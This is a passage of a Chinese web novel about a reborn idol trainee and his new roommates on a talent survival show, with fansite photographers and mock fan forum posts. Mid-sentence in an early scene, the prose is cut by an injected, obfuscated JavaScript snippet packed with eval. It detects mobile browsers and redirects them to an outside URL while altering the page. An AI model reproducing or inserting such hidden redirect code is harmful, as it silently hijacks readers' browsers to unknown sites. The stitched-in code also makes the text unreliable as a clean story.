嗯? 傅寻砚有些诧异地抬眸,偏偏休息室的一盏灯照亮了他的双眼,让他避无可避地微微错开视线。 而这一错开,便在人群中对上了另一双眼睛。 那是一双十分英气的眼睛,此刻光芒在他的眼底流转,映衬出稍浅淡的眼瞳,不含太多情绪,但是流光溢彩。 名叫达裴的练习生是这一届选手里很特别很惹眼的存在。他的帅气不来自面孔,而是姿态,只要站在那里,他就格外吸引男孩们的视线。 俨然是所有年轻男孩们上学时幻想过的自己,随性自由,肆意狂妄却不讨人厌。 唇格外薄,说起rap来像机关枪似的,每一个字都如同子弹轻易击中心尖。 隔着人群,两人相望。 一个是开在阴郁森林的靡丽花朵,另一个是从经受河水冲击的嶙峋峭石,天生带着同样的野性,以至于旁人没有能加入这种氛围感的可能。 镜头后的摄像也是如此感受,即便作为大男人,他也不由得喟叹,画面实在是太好看了。 人头攒动,窃声不断,可哪怕如此,两个个头高大的青年也能被一眼看见。 达裴稍稍点头致意,傅寻砚会以一笑。 休息室另一半的地方也传出一些响动,所有练习生现在忙得直转脑袋,原因无他,这四个人一个赛一个好看,同时报他们四个名字的时候让人心里头实在纠结先瞄谁。 这四个人全都像是小说里的人物,达裴是男频小说里的超强混混,傅寻砚是长相惊艳的那喀索斯,白闻及是不问世事的清冷隐客,沈迟则是有些羞涩的黑皮男高。 绝了。 “哇导演,就不能把我塞进去这个宿舍吗?我不要床的,给我一个地毯角就行。”一个练习生夸张地举手叫唤,“在里面呼吸一秒空气都会感觉自己变帅一点!” 哄堂大笑,连工作疲累的副导演都忍不住弯了弯嘴角。 “可以啊,只要你把你那十七八个行李箱都扔掉就可以。” 练习生们不可置信。 “什么?他们只有一个行李箱?” “对,这四个人分到一起,是因为他们每人都只带了一只20寸的黑色行李箱。”副导演增加了一些信息。 “嚯,兄弟们真牛啊。”那个伸手的练习生名叫刘永善,参赛前是做新媒体的,外向开朗,此刻咧着嘴朝他们比大拇指,“我连去隔壁市特种兵旅行都得带24寸,你们真的绝了。” 偶像职业不比其他,男练习生的行李箱有时甚至比普通女士还装备齐全,尤其是涂脸的东西。此外,为了不让黑粉和路人批判私服,衣服也要至少带三四套。 但这一定律对傅寻砚、达裴、白闻及、沈迟四人显然不适用,在一众激动的练习生里,四人老僧入定,或面无表情,或温柔而笑,没有因这个话题生出任何波澜。 傅寻砚摸了摸手背上的痣,无言。 《新世纪》比隔壁的节目赛程紧张许多,后期证明根本没人有空穿着私服闲逛。再说节目组发的衣服够了,速干型的套装前一天洗了第二天就能干,没有必要多带。 等副导演终于把名单念完,众人起身开始寻找舍友,江瀚没能和傅寻砚分到一块,短暂地失落一下后快快乐乐去认识新人了。 尹星蘅却特地走了过来。 “好遗憾啊,明明我们才是天作之合来着。” 尹星蘅笑得开心,虽然有些失落,但又没有因此纠结太久。 “你不去找舍友吗?” “唔,这样赶我的嘛?” 尹星蘅装着擦拭眼泪,手指却在空中转了个弯指向后方:“哦,你的舍友来了。” 随即傅寻砚肩膀一沉,尹星蘅龇着牙紧紧搂了一把:“好朋友,我先走啦,之后再见!” 傅寻砚顿了顿,回头。 “你好,我是沈迟。” “白闻及。” “我是DP达裴。” 四个人同样高大,但当另外三人站成同一直线面对着傅寻砚时,画面有些说不上来的奇怪——实习生助理在镜头后皱着眉思索。 容貌昳丽的男生留着微蜷的短发,初舞台时惊艳又强烈的表演不至于让人忘记他的性别,但饶是如此,由于另外三个太“男”了,傅寻砚的身上反而多了些朦胧性别的模糊美感。 其他练习生多多少少都比较好懂,不屑伪装的,伪装不到位被一眼看透的——唯独傅寻砚,明明气质如此外放,慵懒随意地表现着自我,可偏偏又最让人捉摸不清。 很难形容,他有着远超于这个年纪的深沉,让人忍不住关注他到底在想什么。于是在这样的气质加持下,傅寻砚显得更朦胧了,像轻飘飘挂在枝头的一缕云烟,叫人害怕他随时被吹散了。 傅寻砚也觉得怪气氛有些怪,他只能将问题归咎于四人不熟悉以至于冷场了。于是傅寻砚点了点身边被推过来的箱子。 “导演说我们只有一小时的时间收拾,你们还不走吗?” “嗯哼。”达裴拨弄了一下额前的刘海 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15129113|164369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,凌厉的双眼眯着笑,“走走走,我们行李最少,一定能当第一个收完的。” 所以在收行李这件事上抢第一有什么意义?——其他三人默默吐槽。 燥热的夏日让空气充满窒息感,好在节目组还算人性,提前开了空调,这才让搬完行李的练习生们不至于晕厥。 典型的上下铺模式,一个宿舍安排四个人倒也合理,条件已经相当不错,只可惜只有一个卫生间,所以他们必须错开洗漱时间。 傅寻砚不想再拘束着谦让,何况他看这三个与上一次不同的舍友也不是什么绕来绕去的人,所以直接开口。 “我想睡下铺。” “那我睡你上铺好了,刚好我晚上睡得死沉,不起夜也很少翻身。”达裴一把将背包甩了上去。 白闻及与沈迟便分配了剩下的两张位置。 四人都不是多话的人,加上今天录制一天的疲累让所有人精神倦倦,于是宿舍里便只剩下沉默的收拾行李声。 直到叶莱举着gopro敲响了宿舍门。 “各位好,204现在是我们公认的型男宿舍啦,让我们看看这些拍摄一个月却只带一个行李箱的朋友到底带了些什么法宝!当当~” 尴尬的是204一片寂静,四双形状不同但都很漂亮的眼睛盯住了叶莱,让他突然手心出汗。 “哈哈哈大家效率还真高呢,貌似都快收完了,看来我这个突击手策略不当,早知道应该第一个来这里的。” 叶莱毕竟在隔壁国家有出道经验,处理紧急状况得心应手。他瞥了一眼四人打开的行李箱,确认没有隐私物品后才将镜头对准了它们。 捂住麦克风,叶莱先进行了简短的解释。 “节目组需要拍摄宿舍花絮,这里没什么不能放的吧?” 四人摇了摇头。 叶莱再度恢复脸上那公式化的笑容,即便镜头不对着他。这种笑容让他的声音下意识充满了轻松欢快,保持着极佳的介绍性声线。 “哦,我看见了什么,达裴,你怎么带那么多营养品啊?” 达裴配合地提起那袋包裹着药盒的真空收纳袋,咧着嘴在镜头前晃了晃,傅寻砚也探头看去。 这个看起来有些狂放的男孩莫名有种乖宝宝的反差萌。 “红参、鱼油、维C……别看我,都是公司里的练习生哥逼着我带的,说这里强度太大,所以叫我每天嗑一粒。” “啊。”达裴突然抬头,傅寻砚有些不太好的预感。 “对了,说起来我感觉我估计不是这里身体素质最差的,你看看傅寻砚,我感觉我都可以把这些送给他。” 镜头“听话”地对准了傅寻砚。 所有镜头后的人呼吸一窒——小小的框中,那张被怼脸的面孔轻轻蹙眉,被压低的眉骨令眼睛越发深邃,睫毛的阴影像是蝶翼投射在眼下。 孱弱这个词与这张面孔无关,或许“精致的破碎感”更为合适。 有一刻,叶莱的本能提醒他必须移开镜头,可他没能做到,比本能更深刻的某种东西令他也陷入了美丽陷阱。 孱弱会让人下意识看轻傅寻砚,可这样恰到好处的破碎感不会。观众们将心疼他,但对美的欣赏压倒了担忧,这意味着人的心理将不会下意识产生“万一他在舞台上出状况怎么办?”“他身体那么差还能不能追?” 诸如此类的问题在傅寻砚身上不会存在,只会转化为“他好好看啊……” 他美,“强”的认知一旦再被强化,在具体事故真正出现前“惨”便不会成立。就像是电视剧里的大BOSS,在被主角团打倒前,观众只会被他的魅力折服,而不会担忧他的命运。 所以这是件坏事——叶莱如此告诉自己。 对傅寻砚来说,这也实在是件坏事。 4. 第四日 但眼下傅寻砚脸上的苍白不是假的,叶莱不得不继续cue。 “寻砚,我看你脸色不太好,是哪里不舒服吗?” “没有。”傅寻砚不想拿这一点卖惨,“只是今天录制时间比较长,有点头疼而已。” 其他四人抿了抿唇,尤其是主动把话题给到傅寻砚的达裴,那张狷狂的面孔流露出一刹那的难言。 谁都看得出来这不是偶发性的头疼,但傅寻砚并没有对着镜头卖惨——他是真不懂还是装不懂? 宿舍里四个人带的东西实在普通,除了达裴的一袋子保健品和沈迟的半箱子高中书籍,其他没有任何看点,叶莱很快退出了门。 想起前一个宿舍大男孩抱着兔子玩偶装得可可爱爱的样子,叶莱有些反胃,嫌恶地皱起了眉头。 走廊里人不多,叶莱一个人穿行着,想着想着他又笑了——也不知道自己突然是有什么毛病,讨厌会营销的,又觉得204这几个人尤其是傅寻砚太不懂节目效果。 所以自己也是个犯贱的人,别人怎么做在自己眼里都有问题。 ——男孩的眼睛里闪过一丝晦暗,但转瞬便收拾好,继续推开了节目组指定的下一扇门。 ** 叶莱走后,204便又安静下来。 傅寻砚倒是没想到虽然这辈子舍友全换了,可和谐的氛围却保留了下来。对达裴、白闻及和沈迟,傅寻砚印象已经很浅淡了,但有件相关的事情他记得。 《新世纪》的导演组目前似乎非常有良心,他们将钱大笔投入在导师和舞台上,所以才错失了与几家娱乐公司接洽把大热练习生抢过来的机会。由此,《前进吧》的赛前大热是他们的四五倍,节目热度同理。 刚开播时这边的导演组还能保持平常心,可不久后他们就发现了问题。 他们招来的仅有的几个大热练习生,竟然奇怪的都没什么进取心。达裴不羁的个性决定了他不配合炒作,尹星蘅习惯性谦让和照顾,伯弥只想把节目当踏板晋升演员,旻海因曾经太过严肃较真吃过苦头,所以这次参赛默默无闻。 至于实力上的后起之秀白闻及和沈迟,两人也是如出一辙的淡漠,秉持舞台外不搞事,舞台上保证自己尽力就完事的态度,可谓相当……平和。 这样一来,连抢C位这件事都少了一个演员,只剩叶莱在“兢兢业业”扮演自己的角色。 节目组不是没想着抬一些流量没那么多但实力还不错的练习生上来,曾经的傅寻砚也在考虑范围里,可鉴于这些练习生背后的公司太不识趣,不愿意投入,节目组愤而放弃。 随着赛程过半,收视率持续低迷,加上对面买这边的黑通稿买的飞起,导演组在被逼急的状态下选择了一条歧路。 恶剪就是从那时候开始的。 既然好舞台出不了圈,那就回归话题度吧。 傅寻砚点了点额头,思绪重归现在。其他三个也已经把少得可怜的东西摆放完毕,准备一同下楼吃饭。他们这间宿舍时间充裕得可怕,离10点集合还早,完全可以去食堂吃晚餐。 傅寻砚的胃早已经发出抗议,自然答应一起前往,至于九点后不宜进食的规矩——不好意思,四人都不想管。 去食堂的路在园区前方,非要绕后面的小路也不是不行,但天黑漆漆的路灯又不亮,傻了才会往那走。 可重来一次,已经离开娱乐圈太久的傅寻砚忘记了一个存在——站姐。 夏日的蹲守是沉闷烦躁的,即便带上了数个小风扇,吹出来的热风仍让这些姑娘们热得受不了,更别提为了拍到高清图,她们人手一台装备,重得要死。 “救命啊,要不是我家叶子在这个破节目,我才不来呢。隔壁《前进吧》还特意给站姐安排了阴凉地和休息处,哪像这里,白天被太阳烤,晚上被蚊子咬。”扎着马尾的女孩使劲用小扇子扇风,她的额角早已布满了汗珠,脸颊绯红,神情不快。 旁边全副武装戴着帽子和墨镜的女孩深表赞同,“是啊,之前就听说《新世纪》有点那啥清高,没想到是真的,赛前话题也不买,营销也不搞,我家要是和节目共沉沦了,我跑到官博底下骂死它!” “你家是哪家呀?” “害,赔钱家的。” “你家这个花名会不会有点不太吉利啊,咋花名取这个?” “还不是达裴在小时候不成熟的歌曲里一直钱钱钱的,结果搞成黑料了,我们家接受良好为了脱敏就管他叫赔钱的,有家里搞玄学的姐妹说贱名好养活。” 这些话题短暂地抚慰了女孩们焦躁的心,正好这时凉风吹过,所有人惬意地舒了口气。然而这口气还没吸回来,墨镜姐就激动地一跳三尺高。 “啊啊啊啊!快看有练习生!” “哪呢哪呢!有没有我家伯宝宝!” “旻海呢?是不是他!” 十几个瞬间骚动起来,下意识一秒把镜头摆到位,不管是谁咔嚓咔嚓先拍了再说。 这是节目录制的第一天,按道理来来往往的练习生应该很多才对,但据小道消息《新世纪》的园区建设不同其他,站姐们估计全程只能拍到从宿舍去食堂和去练习室这两条路线。 第一天录制完都已经八点了,这些练习生还要收拾行李,还要集合布置明天的任务,本来大家都不抱期待能拍到人,所以九点站姐都跑了一半了,谁知道竟然真的有对吃这么执着的练习生,这个点还赶去食堂。 “我去,一水的长腿帅哥啊。” 尽管肉眼看不清脸,但那八条腿实在太过醒目,部分站姐立刻把自担给排除了。 204的四个平均身高达到了一米八,傅寻砚是满打满算的182,另外白闻及和达裴都是180,沈迟还在生长期堪堪一八零,但他那骨架放那就知道还有很大生长空间。 偏偏四个人的比例也绝佳,即便穿着节目组发下来的运动裤和短袖,也像是模特走T台。 等到站姐将高清摄像机的镜头对准那四张脸,更是忍不住倒吸一口冷气。无他,这道风景线实在太过靓丽。 “我的妈呀,这个宿舍请原地出道好吗?就算都是花瓶也是选秀史上从没有过的绝世花瓶队伍。” “深表赞同……” “不过——达裴我认识,另外三个人是谁啊?这种等级的帅哥是怎么在赛前一点水花都没有的?” 一名站姐立马掏出平板,光芒在黑夜里照亮她虽然疲惫却突然精神奕奕的面孔。 “我来翻翻啊,不急不急,你们先赶紧拍着……” 站姐也有小队伍,分工明确,那举着大炮的立刻咔嚓咔嚓抓拍——画面里四个人规规矩矩走着,没有勾肩搭背,明显刚刚认识还不太熟。 可偏偏这种若即若离的氛围感最为致命。 他们个头相近,偶尔露出的面孔是各种风格的帅气,连步调都格外一致,很难不让人看得丢魂。站姐拍着拍着突然一晃神,竟发现自己不自觉拉近焦距,让那个男孩占据了整个画面。 在四人中,他有着更突出的吸引力。 那张面孔在黑夜里依旧昳丽,美如烟雾朦胧里的妖精,漫天星光月光都成为陪衬,只配用明亮和黑暗给男孩的面孔勾勒区分出阴影。 白日初舞台后他的妆还没卸,额角的头发被打湿过耷拉着,慵懒随意,淡漠致命。 “我的天呐……”马尾站姐失神了,转瞬眼睛里爆发出炽热的光芒,精神好得似乎不曾在这蹲守一天 ,而是含了参片。 “我决定了,我要送他出道!” 旁边其他站姐见她如此也来了劲,忙问到底担谁,心底却保留着希冀,盼望着这位“无主”的站姐成为了自担的粉丝。 谁知一看镜头—— “嗯?好帅啊!”一片赞叹情不自禁地流淌而出,转瞬几个脑袋都挤在了一起恨不得眼睛黏在画面上。 马尾姐实在是太会拍了。 青年恰好经过转角的灯光,惨白的灯影没有把他照成鬼,反而让刚巧转头的他身上散发出一层绒光,像冬日里毛茸茸的小猫将脸所在帽子里。 那张脸被阴影切割成两半,一半明媚,另一半昏暗。黑色的微蜷的发丝所在颈侧,攀上脸庞,仿佛肆意汲取着青年的生命力,因而多了份说不清道不明的蛊惑。 背景干净,马尾姐抓到了其他几人不在镜头里的一瞬间,于是青年的背后只有深蓝色的夜空。 静谧,美好,那双眼睛淡漠地扫过镜头,恰好是最后一抹流光还未转移走的那一瞬间,照片定格了画面。 旁边戴墨镜的达裴家站姐终于凭过人的眼力将人辨别齐全,忙开始报人。 “达裴身边的是沈迟,黑皮高中生,据说唱歌绝佳,但我不吃这款划走。再旁边是白闻及,自我介绍喜欢——嗯?恐怖故事?略过略过,然后是——” “傅寻砚。” 墨镜姐和马尾姐的声音一同想起。 马尾姐凝望着那个正在逐渐离开的背影。 “他是傅寻砚。” ** 傅寻砚四人确实关注到了栅栏门外的躁动。 达裴连忙胳膊碰了碰沈迟,示意其他三人加快步伐。 “我都忘了还有粉丝了。” 达裴插着兜,面上是一片无所谓。他出身大公司,已经当了两年练习生,虽然还没有曝光度,但赛前发过不成熟的自作曲,师兄师姐的演唱会也去伴舞过,所以有很小一批粉丝。 傅寻砚用余光留意了一下那头声音越来越大的地方。 他的记忆随着达裴的话语又回来了,七年前在这里的每一个日夜如此清晰。 上辈子他困顿于人设和真实间,只愿意将自己投入练习室,每次从这条路走过都是全副武装的匆匆,所以节目后有人拍到他的现实照片,感叹为何还有这样的神颜成为沧海遗珠。 那些蹲点的站姐好生无语。 “难道是我们想的吗?这位每次出门都穿着带兜帽的卫衣把人遮的严严实实的,我们还以为他是照骗才慢慢不关注的呢。” “早知道长这样,当时就想办法多拍点了,说不定现在纯当帅哥图卖还能卖出好价钱。” “傅寻砚?傅寻砚?你怎么又在走神?” 砰——傅寻砚陷在思绪里没能及时收住脚步,踉跄着撞到了达裴,脑袋因为惯性低下嗑在了硬硬的肩膀上。 好疼! 达裴也没想到傅寻砚反应这么呆,想要阻拦时已经来不及,只能瞪圆了眼睛承受这一击。肩膀残留下一丝温热与短暂的尖锐痛感,他来不及管。 “哇你还好吧!拜托你是小孩子吗?走个路还能收不 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直到这会儿,恹了一整天的沈迟眼睛终于有了光,他迅速小跑到肉食窗口,探着脑袋询问还有什么菜。 “麻烦红烧肉和辣子鸡都来一份!”沈迟愉快地放上餐盘,等待阿姨抖勺的过程中打量着周围。 他隔壁还站着另一群练习生,对方不像是来吃饭的,手里空空,但也在端详里边的菜色。 “艹……”其中一个满脸不耐地开口,“虽然说本来就要节食,但这菜也太烂了,是人吃的吗?放在我家狗面前它都不会闻好吗?” 旁边的矮个子练习生顾虑地扫了沈迟一眼,连忙揽过同伴:“少说两句吧,本来也不能多吃抱怨这个干什么?” 谁知对方还没结束,两眼觑了沈迟一下,紧接着一翻:“嘁这都不行?爱吃这种东西的人很难想象是不是快穷死了。” 沈迟捏着餐盘,里边是一份少量的米饭和三个满满的菜。 餐盘里的残羹冷炙让沈迟的心也凉飕飕的,他知道对方明明看见他了,却还要那么说。 黑皮小孩现在佝偻着脊骨,变得有点可怜,像是夏雨中不敢躲入餐馆廊下的小狗。他完全不能明白那些人的恶意来自何处,甚至不明白那是不是真的恶意。 沈迟只是觉得不舒服,不管那两人是不是针对自己,他都觉得不舒服。 “好了吗?” 一道声音传来,阴影也随之笼罩肩头,沈迟扭转脖子,便看见傅寻砚那张神情恹恹的脸——他黑色的眸子并不在看自己,而是盯着对面。 “我说,你家狗也确实是狗,吃不了人吃的东西不怪它。但你又不是狗,干什么在外边这么辛苦替它代言?” 全场鸦雀无声,大概因为没人想到傅寻砚的攻击性那么强。 揽着肩的手臂传来夜的凉意,傅寻砚的体温一直不高,但沈迟抿了抿嘴——他觉得头顶的灯光很暖和,暖和到颤抖的心脏也恢复了频率。 对面的练习生被同伴拉着劝止,傅寻砚毫不在意,一把接过沈迟的餐盘,手臂一个用力便把他带进了自己的怀里。 “走,吃饭去,别听那些有的没的,就算条件不好也得将就将就。你这小身板得多吃,以防将来长不高。” 沈迟迷惑地看了看自己的太平洋宽肩和一米一大长腿,有点搞不清他傅哥现在是不是还在表演,以讽刺那两个只有一米七的练习生。 坐下后,傅寻砚一脸致郁地开始挑去青椒炒肉丝里的青椒。他并不是完全不能接受青椒的味道,只是不喜欢它的口感,因为和茄子相似。 顺带一提,傅寻砚最讨厌吃茄子,永远最讨厌。 “青椒那么好吃你居然不喜欢?”对面的达裴一脸震惊,仿佛傅寻砚干了什么十恶不赦的事情。但看着这么好吃的青椒被挑在一边,觉得自己的手十分痒痒。 然而不等他伸筷子,侧边一截褐色手腕动作飞快。十八岁的男孩神情有些他这个年纪该有的怯。 “傅哥,我喜欢吃青椒,不介意的话我帮你处理。”沈迟好不容易把整句话说完整,但又有些懊悔,似乎觉得自己的行为有些超过边界,不由得微微红了脸。 傅寻砚奇怪地瞥了他一眼。 “当然可以,我还没动筷所以是干净的。不过我永远无法理解为什么有人会喜欢青椒。” “你这样说话,偶尔是会被人打的。”旁边的白闻及取出自带的餐具擦拭干净,当着傅寻砚的面吃着青椒丝。 达裴没听进去白闻及的话,他只是觉得沈迟莫名其妙的——他和傅寻砚怎么回事,这么快就成可以互相分享盘子里菜的好朋友关系了? 拜托,他才是宿舍里第一个和傅寻砚打招呼的人,也是第一个和沈迟说话的人,这两人怎么还能跳过他啊? 越想越郁闷,达裴突发奇想勾住了白闻及的肩膀。 “你干嘛?”白闻及像是被踩住了尾巴,多亏良好的教养才没有拨开达裴。 “什么干嘛?大家住一个宿舍就是好兄弟了,搭个肩怎么了,不愿意啊?哥可以让你搭回来。”达裴笑得开朗,倒是让人无法讨厌起来。 白闻及愣了愣,却也没有反抗,只是小小翻了个白眼继续吃饭。 5. 第五日 晚上十点半,整个《新世纪偶像》的楼内依旧灯火通明,今日拍摄还没有完全结束。 所有练习生都换上了对应等级的服装,A是粉色,B是蓝色,C是黄色,D是绿色,而最差的F只有沉闷的灰色。 他们宿舍里只有达裴是A,傅寻砚是B等级。 沈迟和白闻及两人有些特殊。沈迟苦于舞蹈,而白闻及——他其实是昆曲继承人,若要论唱念做打他的功夫都是童子功,扎实的不可思议。 但到了这个节目,便有水土不服的难题。而在克服这些困难找到适应的方式前,白闻及估计很难展露笑颜。 两人在白天的评级中都只获得了D。 “各位。”助理举着台卡皱着眉,试图以最简洁的语言将规则讲明白,时间已经不早,就算在这个加班是常态的行业,也没有人会嫌弃早下班。 “未来的五天是初舞台再评级,各位将有五天的时间来学习我们节目的主题曲《万千星辰》。五天后姜苏林老师和其他各位导师讲根据各位选手的录制小视频给予重新评级,获得A的练习生才有机会参与主题曲C位的选拔。” 听到那个词,所有人呼吸一窒。 即便是傅寻砚,也放缓了呼吸频率——“C位”,尤其是“主题曲C位”,意义之重大不亚于砸中牛顿头的苹果。 当然,是对这群练习生而言。 一期节目撑死了不过120分钟,除却群像、导师、过场、流程,平均分配给每个练习生不足半分钟。 更何况“平均”这个词在这里根本不成立。 主题曲C位不仅意味着多那么三四秒的镜头,它意味着脱颖而出。一百份商品里,如果有一份能在人的眼前多放上三秒,任谁都会印象更深刻。 傅寻砚曾经没有这个野心,所以他失败了。 再来一次……他依旧没有执念。 不是不在乎C位。如果他完成了自己能做的,而各方面条件又恰好的话,C位自然是他的。但如果并没有那些条件,C位的擦身而过也不意味着他没有尽力。 眉眼清隽又浓淡恰好的青年眼神散漫,看上去与周围一圈跃跃欲试的青年们格外不同,达裴、白闻及和沈迟看了他好几眼。 说起来他们从一开始就觉得傅寻砚很难捉摸,他就像众人欢聚时先一步看透了危险的预知者,没有人能将那深重的思考从他面孔上剥夺。 “所以各位练习生,请抓紧这几天时间学会主题曲。明天将会有对应的老师入驻各个练习室,请大家根据自己的等级前往对应班级学习。每日上午为跟班练习时间,下午为集体自习时间,晚上七点过后各练习室依旧开放,为自由练习时间。” “祝大家学习顺利。” ** 自十年前开始,H流“大肆入侵”,2013年,不少华国观众在追捧H星的余热过后,开始反思起了内娱状况。在期望与自卑的双重情绪碰撞之下,观众有了逆反心理,渴求本国市场能够出现实力出众、可与韩系偶像匹敌的组合。 资本家抓住这一浪潮,纷纷开始学习H国建立偶像养成体系,顿时国内市场上的“偶像试验品”如雨后春笋,这群年轻人有实力但却并不出众,一茬一茬地只是短暂割了一波韭菜后就迅速被市场淘汰。 这期间选秀节目更是举办得如火如荼,然而一切在四年前戛然而止——行业的内幕与部分资本家追名逐利破坏了整体规则,他们钻漏洞,短视的天然本性令他们自毁长城。 于是为了扼制不良风气,选秀节目被勒令暂停。 直到一年前,鉴于这个新兴行业的漏洞被填补,规范被完善,选秀节目才被重启。 而憋闷了多年的秀人们好似被放出了囚笼,迫不及待地呼吸着被净化后的清新空气。 这两年国内不是没有新偶像,可公司塑造出来的完成品怎么能和自己一路培育、鼓励而成的成长体相比呢? 大公司早就给练习生设置了条条框框,从出道起他们就不是简单的“人”,而是经过包装的商品。唯独选秀,因为练习生太多和多种力量的博弈,令他们尚保留着一些“真实”——哪怕那些真实有时稚嫩而不合时宜。 刚从大学踏入社会的柳雨就曾是一位忠实选秀观众,从二十多年前H国的第一档公司内部选秀节目开始,至今她看过的类似综艺不下十档,对于其中的套路更是手拿把掐。 虽然追了H娱十年,可柳雨得承认,她还是更希望自己国家能建立起一样厉害的产业链,推出更优质也更有民族特色的偶像。 只可惜,四年前照猫画虎搞成四不像,四年内更是节目停办。 已经入职新媒体公司的柳雨照常刷着手机,随着学生时代的过去,她的关注也从那些偶像转移到了更长久的影视剧明星身上。 “咦?这是什么?”眼神触及新闻的瞬间,柳雨没忍住惊呼出声。 身边的美女同事凑过来,“呀,是这两档节目啊,两个月前就有风声说要播出了,没想到拖到了现在才做正式宣发。” “诶小柳,我记得你对偶像产业挺了解的是不是?你不知道这个吗?” 柳雨嘴比脑子快,“是啊,不过你也知道的,前两年政策不是不许办吗?那时候选秀节目确实太过分了,都快把割韭菜写title上了,所以我也很久没看了。” 美女同事手头工作刚巧结束,便也休息下来与柳雨一起刷手机。 “虽然我不看选秀,不过可以欣赏欣赏帅哥——嚯,这群小年轻年纪真的恐怖啊,现在00后都主宰市场了,这一个个都是0405年的,对比之下我都变成老阿姨了。” “……你别说你还真别说,虽然这些公式照拍的跟鬼一样,还是能看见几个格外帅的呢。” “嗯?有吗,我怎么觉得都油头粉面的——啊呀,有两档节目,你看的不是《前进吧!少年》吗?” “啊,那个啊……怎么说呢,那个节目前期营销太多了,反正他们的宣传我一个都看不下去,也没找着特别好看的帅哥,这热度都是节目组自己炒起来的。我是说《新世纪偶像》啦,有好几个真的很帅诶!” “看这个,叫白闻及?气质好端正,就是有那种古装君子的感觉。” “这个叶莱名字还挺特别,好眼熟——等等,他是不是韩团成员,我好像有点印象。” 美女同事念叨着念叨着,蓦然沉默,柳雨好奇看向她。 “怎么啦?看你一脸眼睛都瞪出来的样子。” “这个!” 还不等柳雨反应,对方的手机几乎直接贴上了她的脸。等柳雨吸气退开一点距离,一张令人目眩神迷的脸便闯入视线。 青年的公式照拍的格外特别,尤其是在一众拘谨的练习生中,尽管他也以一样直面镜头的端正姿态对着镜头,可他的眼神似乎能够穿透那个镜头直抵人心。 压低的眉毛长而浓密,长睫毛令眼睛愈发深邃,狐狸眼形状优美,大小适中,时刻勾引着人的视线离不开它们。 青年的头发不算很长,大概在肩膀上方,可微微带着卷翘,格外慵懒随意,十分像复古画报里的流浪艺术家。 樱唇微薄,轻轻抿着,摄魂夺魄。 “好特别的款。”饶是柳雨,也失神般下意识拿过了同事的手机继续细细欣赏这张面孔,“我追了那么多年选秀,见过走忧郁美人、清秀佳人、脆弱青年,就是没见过这种慵懒大魔王类型诶。” “是吧是吧,我也觉得好特别。”同事狠狠赞同,同时不忘把自己的手机拿过来继续盯着那张脸细看,“这长得也太绝了,虽然有点‘妖’你懂吧,但好在看起来有健身,所以形体良好,很man不会让人觉得有脂粉味。” 柳雨被夺走手机,迫不及待用自己的手机打入他的名字,一边还不忘赞同,“确实,这张脸好适合大荧幕——青春疼痛片里的乐队成员那种,绝对能贡献票房,可惜了,怎么想不开当了练习生?” 美女同事翻了个白眼,“有舞台不好吗?不管哪一行多多露面才有机会啦。” “傅寻砚?这个名字也好听,感觉他这个人从头到尾都好有古风气质啊,和那个白闻及不一样的古风气质——等等,我已经开始嗑他们两了怎么办,你不觉得一个像世外隐者或者芝兰玉树的公子,另一个就像野心勃勃的皇子吗?就是说两个完全可以搞那种强取豪夺的戏码诶嘿嘿。” “……少看点歪门邪道!” 柳雨有些心动,那一刻她早就放弃选秀与追偶像的心仿佛又死灰复燃了。眼前这个青年仅凭一张脸和一个名字,就带她回到了当年疯狂打投的盛夏。 姐妹们的欢呼犹在耳畔,曾经感慨的“为什么我们国家就不能有一个具有代表性的偶像”又重回脑海。 要是他是就好了——柳雨不自觉地想,不合适吗?兼具流行和古典两种韵味呢。 要是这个傅寻砚不仅有优秀的外表,也有够硬的实力与极佳的人品就好了。 怀抱着这样的期望,柳雨关注了《新世纪偶像》的官博,发现节目将在三天后正式播出。现在只是放了公式照的程度,三天后将会播放初舞台。 她对三天后突然有了强烈的期待。 退出官博,她按照公式照下仅有的信息找到了@宝音娱乐-傅寻砚的账号。 他的动态不算多,最早的一条也是从一个月前开始的。一共十六条动态中,有十二条都是模糊的随手抓拍的上班图,另 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柳雨关注傅寻砚后没过一天,在《前进吧》铺天盖地的营销里,《新世纪》才终于稀稀拉拉放出了一些花絮。 加起来一共半小时的短片,放了练习生选宿舍,叶莱参观宿舍和食堂用餐的画面。 [全校上网A新人:#选秀#呵呵我就呵呵,节目组这么光明正大捧皇族未免太过分了吧?凭什么他一个人独占七分钟物料啊?] [我女儿是叶子:#选秀#@全校上网A新人皇族你妹啊!我宝人气第一让他做采访不是很正常吗?不然找你家糊逼?] [宇宙仙女:#选秀#@全校上网A新人就是,这节目热度三千万,至少有两千万是叶家姐姐贡献的,搞不懂你们有什么好嚎的,节目糊了就开心了是吧?] [路人是我:#选秀#好家伙,请撕得再响亮些,已经四年了啊!四年没有闻到过这熟悉的战火味了!老天懂我!] [可可妈:#选秀#哈哈哈笑死,楼上,不愧是你!] [薯条炸鱼:#选秀#我去!3.22s那个弟弟!一分钟内给我他的全部信息!Prprpr这美得我哐哐撞墙!你们难道只有嘴吵架,没有眼睛看美色的嘛?] [芝士蛋糕派:#选秀#!楼上眼睛好尖!我倒回去也看见了那个帅哥,真的帅的惊为天人啊!我也要信息!蹲!] [好一朵白莲花:#选秀#!请大家赞美我,给大家找到了(附图.Jpg),以我良好的眼力,这个应该是傅寻砚,他公式照就在我们秀芬群里小火了一把你们不知道吗?] [薯条炸鱼:#选秀#!艹!好像有印象,之前有个练习生赛前0关注,放了公式照怒涨1万的是他对吧] [芝士蛋糕派:#选秀#!哦哦哦好像是的!我也有印象] [小迷糊:#选秀#!] [AABBCC:#选秀#!!] [永不考试:#选秀#!!!] [三位数存款:#选秀#啊啊啊啊!他看他的眼神好深情!] [不叫憨憨:#选秀#吐烟.jpg,我就知道有练习生要卖给我看,但如果是这一对的话……我支持,请你们立刻结芬!] [一朵白莲花:#选秀#他们两的性张力真的绝绝子啊,好家伙其他人在找舍友,你们分明是在找老婆!] 镜头里,两个青年隔着人群熙攘,淡淡地直视对方。来回浮动的灯光将他们完美的侧颜照得明明暗暗,让几秒的静谧无限拉长。 